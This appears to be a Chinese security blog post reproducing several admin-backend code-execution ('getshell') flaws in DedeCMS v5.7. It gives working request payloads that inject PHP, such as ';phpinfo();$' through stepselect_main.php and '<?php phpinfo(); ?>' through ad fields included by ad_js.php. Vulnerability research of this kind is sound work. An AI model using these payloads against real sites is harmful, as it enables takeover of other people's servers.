Dedecms后台getshell漏洞集合
前言
复现Dedecms v5.7后台geshell漏洞感觉比以前轻松了,估计难得框架接触多了。QAQ…
该cms中还有多出后台getshell这里就列几个比较有意思的。
漏洞成因
dedecms后台存在多处fwrite函数导致getshell
payload[1]
refiles[]
变量虽被addslashes
转义,但foreach
中对$filename substr
截取
写入filename
到modifytmp.inc文件中
modifytmp.inc文件内容
加载的模板文件调用变量$doneStr
写入路径指向sys_verifies.php?action=down&curfile=0
跟进action=down
操作,require_once
包含modifytmp.inc执行代码
Payload[2]
payload: 127.0.0.1/cms/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=233&issign=1&egroup=;phpinfo();$
http://127.0.0.1/cms/dedecms/uploads/data/enums/;phpinfo();$.php
/dede/stepselect_main.php下WriteEnumsCache
方法执行对$egroup
变量缓存下入操作
缓存文件名:$cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; => /enums/;phpinfo();$.php
fwrite
写入操作对$egroup
变量进行拼接,'$em_'.';phpinfo();$'.'s';
payload[3]
$content = stripslashes($content);
对文件内容进行处理stripslashes()
函数删除由addslashes()
函数添加的反斜杠,不影响文件内容.
token
值获取,可以全局搜下哪里生成$_SESSION['token']
,恰巧action=upload
执行之后会生成token。访问复制token
即可
payload[4]
payload:http://127.0.0.1/cms/dedecms/uploads/plus/ad_js.php?nocache=1&aid=1
该payload下会将数据库中获取的内容写入js中,并include
提取数据库数据是通过/dede/ad_add.php广告添加之后获取
首先添加广告内容/dede/ad_add.php,可以使用文件监控查看内容变化.在所有可以输入的地方添加--><?php phpinfo(); ?>
http://127.0.0.1/cms/dedecms/uploads/plus/ad_js.php?nocache=1&aid=1
payload[5]
参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!